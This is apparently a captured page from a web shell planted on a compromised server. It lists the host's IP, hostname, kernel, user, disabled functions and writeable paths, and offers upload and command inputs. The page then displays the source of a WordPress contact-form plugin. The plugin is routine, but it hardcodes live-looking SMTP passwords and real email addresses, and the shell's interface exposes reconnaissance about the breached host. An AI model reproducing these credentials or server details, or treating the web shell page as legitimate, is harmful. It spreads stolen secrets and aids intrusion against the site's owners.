403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.217.33
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/html/mitrofanov.ru/public/wp-content/plugins/da-contact-form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/html/mitrofanov.ru/public/wp-content/plugins/da-contact-form/da-contact-form.php
<?php
/*
Plugin Name: Better Contact Form
Plugin URI: http://k-45.ru
Description: No spam? No spam!
Version: 0.0.1
Author: k-45
Author URI: http://k-45.ru
Copyright (C)2024 K-45
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.
*/
/**
* Contact form AJAX
*
* https://www.web-development-blog.com/ajax-contact-form-wordpress/
*/
add_action('wp_enqueue_scripts', 'da_contact_form_assets');
add_action('wp_ajax_loadform', 'contactForm');
add_action('wp_ajax_nopriv_loadform', 'contactForm');
add_action('wp_ajax_contactform_send', 'ajax_contactform_send_callback');
add_action('wp_ajax_nopriv_contactform_send', 'ajax_contactform_send_callback');
function da_contact_form_assets()
{
wp_enqueue_style('da-contactform-style', plugins_url('/dcf.min.css', __FILE__));
wp_enqueue_script('da-contactform-script', plugins_url('/dcf.min.js', __FILE__), '', '1.0', true);
wp_localize_script('da-contactform-script', 'da_object', [ 'ajax_url' => admin_url('admin-ajax.php') ]);
}
function contactForm()
{
//$form_id = $form_id > 1 ? $form_id : 1;
$form_id = 708; //рандом)
$form_name    = 'Имя';
$form_phone   = 'Телефон';
$form_email   = 'Электронная почта';
$form_message = 'Текст обращения';
$form_send    = 'Отправить';
$form_privacy = 'Заполняя и отправляя данные в форме на этом сайте вы соглашаетесь и принимаете условия <a href="/privacy/" class="underline">Политики конфиденциальности</a>.';
$nonce = wp_nonce_field('contactform-' . $form_id, '_cf_nonce', true, false);
$form = <<<HERE
<div id="form-$form_id" class="da-contactform">
    <form>
        <h2>Отправить сообщение</h2>
        <div class="form-section ziticomb">
            <label class="ziticomb" for="nameus-$form_id">Name</label>
            <input class="ziticomb" type="text" name="nameus" id="nameus-$form_id">
        </div>
        <div class="form-section ziticomb">
            <label class="ziticomb" for="emailus-$form_id">Email</label>
            <input class="ziticomb" type="text" name="emailus" id="emailus-$form_id">
        </div>
        <div class="form-section">
            <label for="name-$form_id">$form_name</label>
            <input class="send-form" type="text" name="name" id="name-$form_id" tabindex="1" autocomplete="name" required>
            <span id="name-error-$form_id" class="text-danger"></span>
        </div>
        <div class="form-section">
            <label for="email-$form_id">$form_email</label>
            <input class="send-form" type="email" name="email" id="email-$form_id" tabindex="0" autocomplete="email" required>
            <span id="email-error-$form_id" class="text-danger"></span>
        </div>
        <div class="form-section">
            <label for="phone-$form_id">$form_phone</label>
            <input class="send-form" type="tel" name="phone" id="phone-$form_id" tabindex="0" autocomplete="tel" required>
            <span id="phone-error-$form_id" class="text-danger"></span>
        </div>
        <div class="form-section">
            <label for="task-$form_id">$form_message</label>
            <textarea id="task-$form_id" name="task" cols="40" rows="3"></textarea>
            <span id="task-error-$form_id" class="text-danger"></span>
        </div>
        <div class="form-section send">
            <input type="hidden" name="action" value="contactform_send">
            $nonce
            <input type="button" class="button" value="$form_send" id="contactbutton-$form_id" tabindex="0" data-click="send_form" data-id="$form_id">
            <div id="contact-msg-$form_id" class="contact-msg"></div>
                                    <div id="notsent-msg-$form_id" class="notsent-msg"></div>
            <div class="privacy-text">$form_privacy</div>
        </div>
    </form>
</div>
HERE;
die(json_encode([
'html' => $form,
'error' => null
]));
}
function ajax_contactform_send_callback()
{
if (! empty(sanitize_text_field($_POST[ "nameus" ])) || ! empty(sanitize_email($_POST[ "emailus" ]))) {
header('HTTP/1.1 404 Not Found');
die(json_encode([ 'error' => 'Not Found' ]));
}
$id = $_POST[ 'formid' ];
if (! wp_verify_nonce($_POST[ '_cf_nonce' ], 'contactform-' . $id)) {
echo json_encode([ 'notsent' => 'Ошибка верификации!' ]);
header("Content-Type: application/json");
die();
}
$success = null;
$notsent = null;
$name    = sanitize_text_field($_POST[ 'name' ]);
$phone   = sanitize_text_field($_POST[ 'phone' ]);
$email   = sanitize_text_field($_POST[ 'email' ]);
$task    = sanitize_text_field($_POST[ 'task' ]);
$name_error = ( empty($name) || ! preg_match('/[а-яА-Я]+/u', $name)) ? 'Как к Вам обращаться?' : null;
$phone_error = empty($phone) ? 'Укажите номер телефона.' : null;
$email_error = ( empty($email) || !filter_var($email, FILTER_VALIDATE_EMAIL) ) ? 'Укажите адрес электронной почты.' : null;
$task_error = empty($task) ? 'Заполните, пожалуйста, текст обращения.' : null;
if (is_null($name_error) && is_null($phone_error) && is_null($email_error) && is_null($task_error)) {
$to      = 'vit@dobrolom.com';
$from     = 'avto.amiro@mail.ru';
$sitename = get_bloginfo( 'name' );
$subject  = 'Обращение на сайте EastPoint';
$message  = <<<MESSAGE
<h3>Обращение с формы на сайте</h3>
<p><b>Имя:</b> $name</p>
<p><b>Телефон:</b> $phone</p>
<p><b>Email:</b> $email</p>
<p><i>$task</i></p>
MESSAGE;
$headers = [
'From: ' . $sitename . ' <' . $from . '>',
'Content-Type: text/html; charset=UTF-8',
      'Reply-To: '.$name.' <'.$email.'>'
      //,
      //'bcc: alimovmail@gmail.coom'
];
if (wp_mail(
$to,
$subject,
$message,
$headers
)) {
$success = '<p>Сообщение отправлено! Свяжемся с Вами в ближайшее время.</p>';
} else {
$notsent = '<p>Сообщение не доставлено. Попробуйте позже или свяжитесь с нами другим способом.</p>';
}
}
$result = [
'success'     => $success,
'notsent'     => $notsent,
'name_error'  => $name_error,
'phone_error' => $phone_error,
'email_error' => $email_error,
'task_error' => $task_error,
];
echo json_encode($result);
header("Content-Type: application/json");
die();
}


/*********************PHP MAILER*******************/

add_action( 'phpmailer_init', 'smtp_phpmailer_init' );
function smtp_phpmailer_init( $phpmailer ){

    $phpmailer->IsSMTP();

    $phpmailer->CharSet    = 'UTF-8';

    $phpmailer->Host       = 'smtp.mail.ru';
    $phpmailer->Username   = 'avto.amiro@mail.ru';

    //wp-config
    //define( 'SMTP_PASS',   'fzsvjilpxpdybyfi' );

    //$phpmailer->Password   = SMTP_PASS;


    $phpmailer->Password   = 'j8HMPlVEsCT5ee3X9iKt';
    $phpmailer->SMTPAuth   = true;
    $phpmailer->SMTPSecure = 'ssl';

    $phpmailer->Port       = 465;
    $phpmailer->From       = 'avto.amiro@mail.ru';
    $phpmailer->FromName   = 'MITROFANOV';

    $phpmailer->isHTML( true );
}

Youez - 2016 - github.com/yon3zu
LinuXploit